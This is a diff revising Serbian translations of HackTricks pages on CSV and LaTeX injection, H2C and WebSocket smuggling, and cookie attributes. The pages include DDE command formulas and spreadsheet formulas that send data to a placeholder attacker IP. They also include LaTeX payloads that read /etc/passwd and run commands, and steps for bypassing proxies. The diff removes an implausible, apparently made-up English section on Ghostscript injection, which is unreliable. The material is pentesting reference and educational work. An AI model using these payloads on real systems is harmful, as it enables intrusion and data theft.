@ -54,7 +54,7 @@ Ako naiđete na parametar koji sadrži URL, posebno onaj koji sledi obrazac _pri
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -64,7 +64,7 @@ Ako naiđete na parametar koji sadrži URL, posebno onaj koji sledi obrazac _pri
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -29,7 +29,7 @@ Drugi načini podrške HackTricks-u:
Ako se vaš **unos** **reflektuje** unutar **CSV fajlova** (ili bilo kog drugog fajla koji će verovatno biti otvoren u **Excel-u**), možda ćete moći da ubacite Excel **formule** koje će biti **izvršene** kada korisnik **otvori fajl** ili kada korisnik **klikne na neki link** unutar Excel tabele.
{% hint style="danger" %}
Danas će **Excel upozoriti** (nekoliko puta) **korisnika kada se nešto učita izvan Excel-a** kako bi ga sprečio od zlonamernih radnji. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na krajnji payload.
Danas **Excel upozorava** (nekoliko puta) **korisnika kada se nešto učitava izvan Excel-a** kako bi ga sprečio od zlonamernih radnji. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na krajnji payload.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
@ -43,24 +43,24 @@ DDE ("cmd";"/C calc";"!A0")A0
```
### Hiperlink
**Sledeći primer je veoma koristan za eksfiltraciju sadržaja iz konačnog excel dokumenta i za izvođenje zahteva ka proizvoljnim lokacijama. Međutim, zahteva da korisnik klikne na link (i prihvati upozorenja).**
**Sledeći primer je veoma koristan za eksfiltraciju sadržaja iz konačnog excel dokumenta i za obavljanje zahteva ka proizvoljnim lokacijama. Međutim, zahteva da korisnik klikne na link (i prihvati upozorenja).**
Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje studentskim evidencijama koji je iskorišćen putem napada CSV ubacivanjem. Primarni cilj napadača je da ugrozi sistem koji koriste nastavnici za upravljanje detaljima studenata. Metoda uključuje ubacivanje zlonamernog sadržaja u aplikaciju, tačnije unošenjem štetnih formula u polja predviđena za detalje studenata. Napad se odvija na sledeći način:
Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje studentskim evidencijama koji je iskorišćen putem napada CSV ubacivanjem. Primarni cilj napadača je da kompromituje sistem koji koriste nastavnici za upravljanje detaljima studenata. Metoda uključuje ubacivanje zlonamernog sadržaja u aplikaciju, tačnije unošenjem štetnih formula u polja predviđena za detalje studenata. Napad se odvija na sledeći način:
1. **Ubacivanje Zlonamernog Sadržaja:**
* Napadač podnosi formu sa detaljima studenata ali uključuje formulu koja se često koristi u tabelama (npr. `=HYPERLINK("<zlonamerni_link>","Kliknite ovde")`).
* Napadač šalje formu sa detaljima studenata ali uključuje formulu koja se često koristi u tabelama (npr. `=HYPERLINK("<zlonamerni_link>","Kliknite ovde")`).
* Ova formula je dizajnirana da kreira hiperlink, ali vodi ka zlonamernom serveru koji kontroliše napadač.
2. **Izvoz Kompromitovanih Podataka:**
* Nastavnici, nesvesni kompromitovanja, koriste funkcionalnost aplikacije da izvezu podatke u CSV fajl.
* Kada se CSV fajl otvori, i dalje sadrži zlonamerni sadržaj. Ovaj sadržaj se pojavljuje kao klikabilni hiperlink u tabeli.
* Nastavnici, nesvesni kompromitovanja, koriste funkcionalnost aplikacije za izvoz podataka u CSV fajl.
* Kada se CSV fajl otvori, i dalje sadrži zlonamerni sadržaj. Ovaj sadržaj se pojavljuje kao klikabilan hiperlink u tabeli.
3. **Pokretanje Napada:**
* Nastavnik klikne na hiperlink, verujući da je to legitimni deo detalja studenata.
* Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se prenose na server napadača.
* Klikom, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se šalju na server napadača.
4. **Logovanje Podataka:**
* Server napadača prima i beleži osetljive podatke poslate sa računara nastavnika.
* Napadač može zatim koristiti ove podatke za različite zlonamerne svrhe, dodatno ugrožavajući privatnost i bezbednost studenata i institucije.
* Napadač može zatim koristiti ove podatke za različite zlonamerne svrhe, dodatno kompromitujući privatnost i bezbednost studenata i institucije.
### RCE
@ -68,7 +68,7 @@ Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje student
U specifičnim konfiguracijama ili starijim verzijama Excel-a, funkcionalnost nazvana Dinamička Razmena Podataka (DDE) može biti iskorišćena za izvršavanje proizvoljnih komandi. Da biste iskoristili ovo, sledeće postavke moraju biti omogućene:
* Idite na Datoteka → Opcije → Centar Poverenja → Postavke Centra Poverenja → Spoljni Sadržaj, i omogućite **Pokretanje Servera za Dinamičku Razmenu Podataka**.
* Idite na Datoteka → Opcije → Centar za Poverenje → Postavke Centra za Poverenje → Spoljni Sadržaj, i omogućite **Pokretanje Servera za Dinamičku Razmenu Podataka**.
Kada se otvori tabela sa zlonamernim sadržajem (i ako korisnik prihvati upozorenja), sadržaj se izvršava. Na primer, da bi se pokrenula aplikacija kalkulatora, sadržaj bi bio:
```markdown
@ -93,21 +93,21 @@ Google Sheets nudi funkcije koje se mogu iskoristiti za eksfiltraciju podataka i
* **CONCATENATE**: Spaja nizove zajedno - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Uvozi podatke iz strukturiranih tipova podataka - `=IMPORTXML(CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Uvozi RSS ili ATOM feedove - `=IMPORTFEED(CONCAT("http://<napadačeva IP adresa:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTFEED**: Uvozi RSS ili ATOM feed-ove - `=IMPORTFEED(CONCAT("http://<napadačeva IP adresa:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Uvozi podatke iz HTML tabela ili lista - `=IMPORTHTML (CONCAT("http://<napadačeva IP adresa:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Uvozi opseg ćelija iz druge radne sveske - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID radne sveske]", "sheet1!A2:E2")`
* **IMPORTRANGE**: Uvozi opseg ćelija iz druge radne sveske - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_radne_sveske]", "sheet1!A2:E2")`
* **IMAGE**: Umeće sliku u ćeliju - `=IMAGE("https://<napadačeva IP adresa:Port>/images/srpr/logo3w.png")`
## LaTeX ubacivanje
## LaTeX Injekcija
Obično serveri koje ćete pronaći na internetu koji **pretvaraju LaTeX kod u PDF** koriste **`pdflatex`**.\
Ovaj program koristi 3 glavna atributa za (ne)dozvoljeno izvršavanje komandi:
* **`--no-shell-escape`**: **Onemogućava** konstrukt `\write18{komanda}`, čak i ako je omogućen u datoteci texmf.cnf.
* **`--no-shell-escape`**: **Onemogućava** konstrukt `\write18{komanda}`, čak i ako je omogućen u texmf.cnf datoteci.
* **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **unapred definisanih** \*\*komandi (\*\*Na Ubuntu 16.04 listu možete pronaći u `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Omogućava** konstrukt `\write18{komanda}`. Komanda može biti bilo koja shell komanda. Ovaj konstrukt je obično zabranjen iz sigurnosnih razloga.
Međutim, postoje i drugi načini za izvršavanje komandi, pa je radi izbegavanja RCE-a veoma važno koristiti `--shell-restricted`.
Međutim, postoje i drugi načini za izvršavanje komandi, pa je radi izbegavanja RCE vrlo važno koristiti `--shell-restricted`.
### Čitanje datoteke <a href="#read-file" id="read-file"></a>
@ -127,7 +127,7 @@ Možda ćete morati prilagoditi ubacivanje sa omotačima kao što su \[ ili $.
\text{\line}
\closein\file
```
#### Pročitajte višelinijsku datoteku
#### Čitanje višelinijske datoteke
```bash
\newread\file
\openin\file=/etc/passwd
@ -144,7 +144,7 @@ Možda ćete morati prilagoditi ubacivanje sa omotačima kao što su \[ ili $.
\write\outfile{Hello-world}
\closeout\outfile
```
### Izvršenje komandi <a href="#command-execution" id="command-execution"></a>
### Izvršenje komande <a href="#command-execution" id="command-execution"></a>
Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da biste je dobili.
```bash
@ -169,37 +169,7 @@ Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da bist
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
## Formula CSV Document LaTeX Ghostscript Injection
---
### Attack Scenario
An attacker can craft a malicious CSV file containing a formula that, when opened with a vulnerable spreadsheet application, triggers a LaTeX formula injection. This can lead to the execution of arbitrary commands through Ghostscript when the CSV file is converted to a PDF.
### Technical Details
1. Craft a CSV file containing a formula that includes LaTeX syntax and a command injection payload.
2. Open the malicious CSV file with a spreadsheet application that supports LaTeX formula rendering.
3. Convert the CSV file to PDF using the spreadsheet application.
4. The vulnerable application will use Ghostscript to convert the PDF, triggering the command injection.
### Example
```latex
\immediate\write18{COMMAND}
```
### Mitigation
1. **Input Validation:** Validate and sanitize user input to prevent the injection of malicious commands.
2. **Update Software:** Ensure that all software, including spreadsheet applications and Ghostscript, are up to date to patch known vulnerabilities.
By following these mitigation strategies, the risk of LaTeX Ghostscript injection can be significantly reduced.
Ako dobijete bilo kakvu LaTex grešku, razmislite o korišćenju base64 da biste dobili rezultat bez loših karaktera
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
@ -229,7 +199,7 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -34,54 +34,54 @@ Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
```
### Ranjivi Proksi <a href="#exploitation" id="exploitation"></a>
### Ranjive proxy serveri <a href="#exploitation" id="exploitation"></a>
Ranjivost se javlja kada, nakon ažuriranja veze, obrnuti proksi prestaje da upravlja pojedinačnim zahtevima, pretpostavljajući da je njegov posao rutiranja završen nakon uspostavljanja veze. Iskorišćavanje H2C Smugglinga omogućava zaobilaženje pravila obrnutog proksija primenjenih tokom obrade zahteva, kao što su rutiranje zasnovano na putanji, autentifikacija i WAF obrada, pod uslovom da je H2C veza uspešno uspostavljena.
Ranjivost nastaje kada, nakon ažuriranja veze, reverzni proxy prestane da upravlja pojedinačnim zahtevima, pretpostavljajući da je njegov posao rutiranja završen nakon uspostavljanja veze. Iskorišćavanje H2C Smuggling-a omogućava zaobilaženje pravila reverznog proxy-ja koja se primenjuju tokom obrade zahteva, kao što su rutiranje zasnovano na putanji, autentifikacija i WAF obrada, pod uslovom da je H2C veza uspešno uspostavljena.
Ranjivi Proksiji <a href="#exploitation" id="exploitation"></a>
#### Ranjivi proxy serveri <a href="#exploitation" id="exploitation"></a>
Ranjivost zavisi od rukovanja proksija sa `Upgrade` i ponekad `Connection` zaglavljima. Sledeći proksiji inherentno prosleđuju ova zaglavlja tokom proksi-prenosa, čime inherentno omogućavaju H2C smuggling:
Ranjivost zavisi od rukovanja reverznog proxy-ja sa `Upgrade` i ponekad `Connection` zaglavljima. Sledeći proxy serveri inherentno prosleđuju ova zaglavlja tokom proxy-pass, čime inherentno omogućavaju H2C smuggling:
- HAProxy
- Traefik
- Nuster
* HAProxy
* Traefik
* Nuster
Nasuprot tome, ovi servisi inherentno ne prosleđuju oba zaglavlja tokom proksi-prenosa. Međutim, mogu biti konfigurisani nebezbedno, omogućavajući nefiltrirano prosleđivanje `Upgrade` i `Connection` zaglavlja:
S druge strane, ovi servisi inherentno ne prosleđuju oba zaglavlja tokom proxy-pass. Međutim, mogu biti konfigurisani nebezbedno, omogućavajući nefiltrirano prosleđivanje `Upgrade` i `Connection` zaglavlja:
- AWS ALB/CLB
- NGINX
- Apache
- Squid
- Varnish
- Kong
- Envoy
- Apache Traffic Server
* AWS ALB/CLB
* NGINX
* Apache
* Squid
* Varnish
* Kong
* Envoy
* Apache Traffic Server
Iskorišćavanje <a href="#exploitation" id="exploitation"></a>
#### Iskorišćavanje <a href="#exploitation" id="exploitation"></a>
Važno je napomenuti da ne svi serveri inherentno prosleđuju zaglavlja potrebna za usklađenu H2C vezu. Stoga, serveri poput AWS ALB/CLB, NGINX i Apache Traffic Server, između ostalih, prirodno blokiraju H2C veze. Ipak, vredi testirati sa neusklađenom varijantom `Connection: Upgrade`, koja isključuje vrednost `HTTP2-Settings` iz `Connection` zaglavlja, jer neki backend-ovi možda ne poštuju standarde.
Važno je napomenuti da ne svi serveri inherentno prosleđuju potrebna zaglavlja za usklađenu H2C vezu. Stoga, serveri poput AWS ALB/CLB, NGINX i Apache Traffic Server, između ostalih, prirodno blokiraju H2C veze. Ipak, vredi testirati sa neusklađenom varijantom `Connection: Upgrade`, koja isključuje vrednost `HTTP2-Settings` iz `Connection` zaglavlja, jer neki backend-ovi možda ne poštuju standarde.
{% hint style="opasnost" %}
Bez obzira na specifičnu **putanju** određenu u URL-u `proxy_pass` (npr. `http://backend:9999/socket.io`), uspostavljena veza podrazumevano se vraća na `http://backend:9999`. Ovo omogućava interakciju sa bilo kojom putanjom unutar te unutrašnje tačke, koristeći ovu tehniku. Stoga, specificiranje putanje u URL-u `proxy_pass` ne ograničava pristup.
{% hint style="danger" %}
Bez obzira na specifičnu **putanju** određenu u URL-u `proxy_pass` (npr. `http://backend:9999/socket.io`), uspostavljena veza podrazumevano se vraća na `http://backend:9999`. Ovo omogućava interakciju sa bilo kojom putanjom unutar te interne tačke, koristeći ovu tehniku. Stoga, specificiranje putanje u URL-u `proxy_pass` ne ograničava pristup.
{% endhint %}
Alati [**h2csmuggler od strane BishopFox-a**](https://github.com/BishopFox/h2csmuggler) i [**h2csmuggler od strane assetnote-a**](https://github.com/assetnote/h2csmuggler) olakšavaju pokušaje da se **zaobiđu zaštitne mere proksija** uspostavljanjem H2C veze, čime se omogućava pristup resursima zaštićenim proksijem.
Alati [**h2csmuggler od strane BishopFox-a**](https://github.com/BishopFox/h2csmuggler) i [**h2csmuggler od strane assetnote-a**](https://github.com/assetnote/h2csmuggler) olakšavaju pokušaje da se **zaobiđu zaštite nametnute od strane proxy-ja** uspostavljanjem H2C veze, čime se omogućava pristup resursima zaštićenim od strane proxy-ja.
Za dodatne informacije o ovoj ranjivosti, posebno u vezi sa NGINX-om, pogledajte [**ovaj detaljan resurs**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
## Websocket Smuggling
Websocket smuggling, za razliku od kreiranja HTTP2 tunela do tačke pristupa preko proksija, uspostavlja Websocket tunel kako bi zaobišao potencijalna ograničenja proksija i olakšao direktnu komunikaciju sa tačkom pristupa.
Websocket smuggling, za razliku od kreiranja HTTP2 tunela do tačke pristupa preko proxy-ja, uspostavlja Websocket tunel radi zaobilaženja potencijalnih ograničenja proxy-ja i olakšavanja direktnog komuniciranja sa tačkom pristupa.
### Scenario 1
U ovom scenariju, zlonamerni klijent cilja backend koji nudi javni WebSocket API zajedno sa nepristupačnim internim REST API-jem. Napad se odvija u nekoliko koraka:
1. Klijent započinje slanjem Upgrade zahteva obrnutom proksiju sa netačnom verzijom protokola `Sec-WebSocket-Version` u zaglavlju. Proksi, ne uspevajući da validira `Sec-WebSocket-Version` zaglavlje, veruje da je Upgrade zahtev validan i prosleđuje ga backend-u.
2. Backend odgovara status kodom `426`, ukazujući na netačnu verziju protokola u `Sec-WebSocket-Version` zaglavlju. Obrnuti proksi, ignorisavši odgovor backend-a, pretpostavlja spremnost za WebSocket komunikaciju i prosleđuje odgovor klijentu.
3. Kao rezultat, obrnuti proksi je zaveden da veruje da je uspostavljena WebSocket veza između klijenta i backend-a, dok je zapravo backend odbio Upgrade zahtev. Bez obzira na to, proksi održava otvorenu TCP ili TLS vezu između klijenta i backend-a, omogućavajući klijentu neograničen pristup privatnom REST API-ju putem ove veze.
1. Klijent započinje slanjem Upgrade zahteva reverznom proxy-ju sa netačnom verzijom protokola `Sec-WebSocket-Version` u zaglavlju. Proxy, ne uspevajući da validira `Sec-WebSocket-Version` zaglavlje, veruje da je Upgrade zahtev validan i prosleđuje ga backend-u.
2. Backend odgovara status kodom `426`, ukazujući na netačnu verziju protokola u `Sec-WebSocket-Version` zaglavlju. Reverzni proxy, ignorisavši odgovor backend-a, pretpostavlja spremnost za WebSocket komunikaciju i prosleđuje odgovor klijentu.
3. Stoga, reverzni proxy je zaveden da veruje da je uspostavljena WebSocket veza između klijenta i backend-a, dok je zapravo backend odbio Upgrade zahtev. Bez obzira na to, proxy održava otvorenu TCP ili TLS vezu između klijenta i backend-a, omogućavajući klijentu neograničen pristup privatnom REST API-ju putem ove veze.
Pogođeni obrnuti proksiji uključuju Varnish, koji nije rešio ovaj problem, i Envoy proksi verziju 1.8.0 ili starije, pri čemu su kasnije verzije promenile mehanizam nadogradnje. Drugi proksiji takođe mogu biti podložni.
Pogođeni reverzni proxy serveri uključuju Varnish, koji je odbio da reši problem, i Envoy proxy verziju 1.8.0 ili starije, pri čemu su kasnije verzije promenile mehanizam nadogradnje. Drugi proxy serveri takođe mogu biti podložni.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
@ -89,18 +89,18 @@ Pogođeni obrnuti proksiji uključuju Varnish, koji nije rešio ovaj problem, i
Ovaj scenario uključuje backend sa javnim WebSocket API-jem i javnim REST API-jem za proveru zdravlja, zajedno sa nepristupačnim internim REST API-jem. Napad, složeniji, uključuje sledeće korake:
1. Klijent šalje POST zahtev kako bi pokrenuo API provere zdravlja, uključujući dodatni HTTP zaglavlje `Upgrade: websocket`. NGINX, koji služi kao obrnuti proksi, tumači ovo kao standardni Upgrade zahtev zasnovan isključivo na `Upgrade` zaglavlju, zanemarujući druge aspekte zahteva, i prosleđuje ga backend-u.
2. Backend izvršava API provere zdravlja, pristupajući spoljnom resursu koji kontroliše napadač i koji vraća HTTP odgovor sa status kodom `101`. Ovaj odgovor, kada ga backend primi i prosledi NGINX-u, zavodi proksi da veruje da je uspostavljena WebSocket veza zbog validacije samo status koda.
1. Klijent šalje POST zahtev kako bi pokrenuo health check API, uključujući dodatni HTTP zaglavlje `Upgrade: websocket`. NGINX, koji služi kao reverzni proxy, tumači ovo kao standardni Upgrade zahtev zasnovan isključivo na `Upgrade` zaglavlju, zanemarujući druge aspekte zahteva, i prosleđuje ga backend-u.
2. Backend izvršava health check API, pristupajući spoljnom resursu koji kontroliše napadač i koji vraća HTTP odgovor sa status kodom `101`. Ovaj odgovor, kada stigne do backend-a i bude prosleđen NGINX-u, zavodi proxy da veruje da je uspostavljena WebSocket veza zbog validacije samo status koda.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
> **Upozorenje:** Složenost ove tehnike se povećava jer zahteva sposobnost interakcije sa tačkom pristupa koja može vratiti status kod 101.
Na kraju, NGINX je prevaren da veruje da postoji WebSocket veza između klijenta i backend-a. U stvarnosti, takva veza ne postoji; cilj je bio API provere zdravlja. Ipak, obrnuti proksi održava otvorenu vezu, omogućavajući klijentu pristup privatnom REST API-ju putem nje.
Na kraju, NGINX je prevaren da veruje da postoji WebSocket veza između klijenta i backend-a. U stvarnosti, takva veza ne postoji; health check REST API je bio meta. Ipak, reverzni proxy održava otvorenu vezu, omogućavajući klijentu pristup privatnom REST API-ju putem nje.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
Većina obrnutih proksija je ranjiva na ovaj scenario, ali iskorišćavanje zavisi od prisustva spoljne SSRF ranjivosti, obično smatrane kao problem niskog stepena ozbiljnosti.
Većina reverznih proxy servera je ranjiva na ovaj scenario, ali iskorišćavanje zavisi od prisustva spoljne SSRF ranjivosti, obično smatrane kao problem niskog stepena ozbiljnosti.
#### Laboratorije

View file

@ -1,8 +1,8 @@
# Hakovanje kolačića
# Hakovanje Kolačića
<details>
<summary><strong>Naučite hakovanje AWS od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
@ -16,45 +16,45 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Atributi kolačića
## Atributi Kolačića
Kolačići dolaze sa nekoliko atributa koji kontrolišu njihovo ponašanje u korisnikovom pregledaču. Evo pregleda ovih atributa u pasivnijem tonu:
### Ističe i Max-Age
Datum isteka kolačića određen je atributom `Ističe`. Nasuprot tome, atribut `Max-age` definiše vreme u sekundama dok se kolačić ne obriše. **Izaberite `Max-age` jer odražava modernije prakse.**
Datum isteka kolačića određen je atributom `Expires`. Nasuprot tome, atribut `Max-age` definiše vreme u sekundama dok se kolačić ne obriše. **Izaberite `Max-age` jer odražava modernije prakse.**
### Domen
Domaćini koji primaju kolačić su navedeni atributom `Domen`. Podrazumevano, ovo je postavljeno na domaćina koji je izdao kolačić, ne uključujući njegove poddomene. Međutim, kada je atribut `Domen` eksplicitno postavljen, obuhvata i poddomene. Ovo čini specifikaciju atributa `Domen` manje restriktivnom opcijom, korisnom za scenarije gde je deljenje kolačića preko poddomena neophodno. Na primer, postavljanje `Domen=mozilla.org` omogućava pristup kolačićima na njenim poddomenima poput `developer.mozilla.org`.
Domaćini koji primaju kolačić su navedeni atributom `Domain`. Podrazumevano, postavljen je na domaćina koji je izdao kolačić, ne uključujući njegove poddomene. Međutim, kada je atribut `Domain` eksplicitno postavljen, obuhvata i poddomene. Ovo čini specifikaciju atributa `Domain` manje restriktivnom opcijom, korisnom za scenarije gde je deljenje kolačića preko poddomena neophodno. Na primer, postavljanje `Domain=mozilla.org` omogućava pristup kolačićima na njenim poddomenima poput `developer.mozilla.org`.
### Putanja
Specifična URL putanja koja mora biti prisutna u zahtevanom URL-u za slanje zaglavlja `Kolačić` označena je atributom `Putanja`. Ovaj atribut razmatra karakter `/` kao separator direktorijuma, omogućavajući podudaranja u poddirektorijumima takođe.
Specifična URL putanja koja mora biti prisutna u zahtevanom URL-u za slanje zaglavlja `Cookie` označena je atributom `Path`. Ovaj atribut razmatra karakter `/` kao separator direktorijuma, omogućavajući podudaranja u poddirektorijumima takođe.
### Pravila naručivanja
Kada dva kolačića nose isto ime, onaj koji se bira za slanje zavisi od:
Kada dva kolačića imaju isto ime, onaj koji se bira za slanje zavisi od:
* Kolačić koji se podudara sa najdužom putanjom u zahtevanom URL-u.
* Najskorije postavljen kolačić ako su putanje identične.
### SameSite
* Atribut `SameSite` diktira da li se kolačići šalju na zahteve koji potiču sa domena treće strane. Nudi tri podešavanja:
* Atribut `SameSite` određuje da li se kolačići šalju na zahteve koji potiču sa domena trećih strana. Nudi tri podešavanja:
* **Strict**: Ograničava slanje kolačića na zahtevima trećih strana.
* **Lax**: Dozvoljava slanje kolačića sa GET zahtevima pokrenutim od strane trećih veb sajtova.
* **None**: Dozvoljava slanje kolačića sa bilo kog domena treće strane.
* **None**: Dozvoljava slanje kolačića sa bilo kog domena trećih strana.
Zapamtite, prilikom konfigurisanja kolačića, razumevanje ovih atributa može pomoći da se osigura da se ponašaju kako se očekuje u različitim scenarijima.
| **Tip zahteva** | **Primer koda** | **Kolačići poslati kada** |
| **Tip Zahteva** | **Primer Koda** | **Kolačići Poslati Kada** |
| ---------------- | ---------------------------------- | --------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
@ -68,9 +68,9 @@ Tabela preuzeta sa [Invicti](https://www.netsparker.com/blog/web-security/same-s
Kolačić sa _**SameSite**_ atributom će **umanjiti CSRF napade** gde je potrebna prijavljena sesija.
**\*Primetite da od Chrome80 (feb/2019) podrazumevano ponašanje kolačića bez SameSite** **atributa će biti lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Primetite da privremeno, nakon primene ove promene, **kolačići bez SameSite** **političke** u Chrome-u će biti **tretirani kao None** tokom **prvih 2 minuta, a zatim kao Lax za POST zahteve preko glavnog nivoa preko sajta.**
Primetite da privremeno, nakon primene ove promene, **kolačići bez SameSite** **političke** u Chrome-u će biti **tretirani kao None** tokom **prva 2 minuta, a zatim kao Lax za POST zahteve sa vrhunskog nivoa preko sajtova.**
## Zastave kolačića
## Zastave Kolačića
### HttpOnly
@ -80,7 +80,7 @@ Ovo sprečava **klijenta** da pristupi kolačiću (Na primer putem **Javascript-
* Ako stranica **šalje kolačiće kao odgovor** na zahteve (na primer na **PHPinfo** stranici), moguće je zloupotrebiti XSS da se pošalje zahtev ovoj stranici i **ukrade kolačiće** iz odgovora (proverite primer na [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
